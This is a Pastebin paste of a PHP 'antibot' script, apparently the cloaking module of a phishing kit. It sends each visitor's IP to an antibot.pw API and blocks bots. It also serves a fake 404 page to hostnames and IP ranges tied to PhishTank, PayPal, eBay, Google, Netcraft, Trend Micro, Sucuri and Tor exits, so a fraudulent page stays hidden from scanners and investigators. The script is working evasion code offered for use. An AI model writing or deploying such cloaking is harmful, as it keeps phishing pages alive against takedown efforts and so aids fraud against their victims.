Advertisement
Guest User

Untitled

a guest
Sep 23rd, 2019
1,455
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.07 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. session_start();
  4. /**
  5.  
  6. Modify by antibot.pw , you can see visitor in https://antibot.pw/manage-blocker
  7.  
  8. **/
  9. $config['ApiKey']     = 'xxxxxxxxxxxxxxxxxxxxx'; // https://antibot.pw/developers
  10. $config['blocktype']  = '3';
  11.  
  12. if($_SESSION['check'] == false && !isset($_SESSION['check'])){
  13.   function get_client_ip() {
  14.       $ipaddress = '';
  15.       if (getenv('HTTP_CLIENT_IP')){
  16.           $ipaddress = getenv('HTTP_CLIENT_IP');
  17.       }
  18.       if(getenv('HTTP_X_FORWARDED_FOR')){
  19.           $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
  20.       }
  21.       if(getenv('HTTP_X_FORWARDED')){
  22.           $ipaddress = getenv('HTTP_X_FORWARDED');
  23.       }
  24.       if(getenv('HTTP_FORWARDED_FOR')){
  25.           $ipaddress = getenv('HTTP_FORWARDED_FOR');
  26.       }
  27.       if(getenv('HTTP_FORWARDED')){
  28.          $ipaddress = getenv('HTTP_FORWARDED');
  29.       }
  30.       if(getenv('REMOTE_ADDR')){
  31.           $ipaddress = getenv('REMOTE_ADDR');
  32.       }
  33.       $ipaddress = explode(",",  $ipaddress);
  34.       return $ipaddress[0];
  35.   }
  36.   $ipNe = get_client_ip();
  37.   $curl = curl_init();
  38.   curl_setopt_array($curl, array(
  39.     CURLOPT_URL => "https://antibot.pw/api/check-visitor.php?ip=".$ipNe."&block=".$config['blocktype']."&apikey=".$config['ApiKey'],
  40.     CURLOPT_RETURNTRANSFER => true,
  41.     CURLOPT_ENCODING => "",
  42.     CURLOPT_MAXREDIRS => 10,
  43.     CURLOPT_TIMEOUT => 30,
  44.     CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  45.     CURLOPT_HTTPHEADER => array(
  46.       "content-type: application/x-www-form-urlencoded",
  47.     ),
  48.   ));
  49.  
  50.   $response = curl_exec($curl);
  51.   $err = curl_error($curl);
  52.  
  53.   curl_close($curl);
  54.  
  55.   $json = json_decode($response,true);
  56.   if($json['is_bot'] == 1){
  57.     $_SESSION['check'] = true;
  58.     die(header("HTTP/1.0 404 Not Found"));
  59.   }
  60. }else{
  61.   $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
  62.   $blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit", "msnbot","p3pwgdsn","netcraft","trendmicro", "ebay", "paypal", "torservers", "messagelabs", "sucuri.net", "crawler");
  63.   foreach($blocked_words as $word) {
  64.       if (substr_count($hostname, $word) > 0) {
  65.       header("HTTP/1.0 404 Not Found");
  66.           die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  67.  
  68.       }  
  69.   }
  70.   $bannedIP = array("^81.161.59.*", "^66.135.200.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*", "^91.103.66.*", "^208.91.115.*", "^199.30.228.*");
  71.   if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
  72.        header('HTTP/1.0 404 Not Found');
  73.        exit();
  74.   } else {
  75.        foreach($bannedIP as $ip) {
  76.             if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
  77.                  header('HTTP/1.0 404 Not Found');
  78.                  die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  79.             }
  80.        }
  81.   }
  82. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement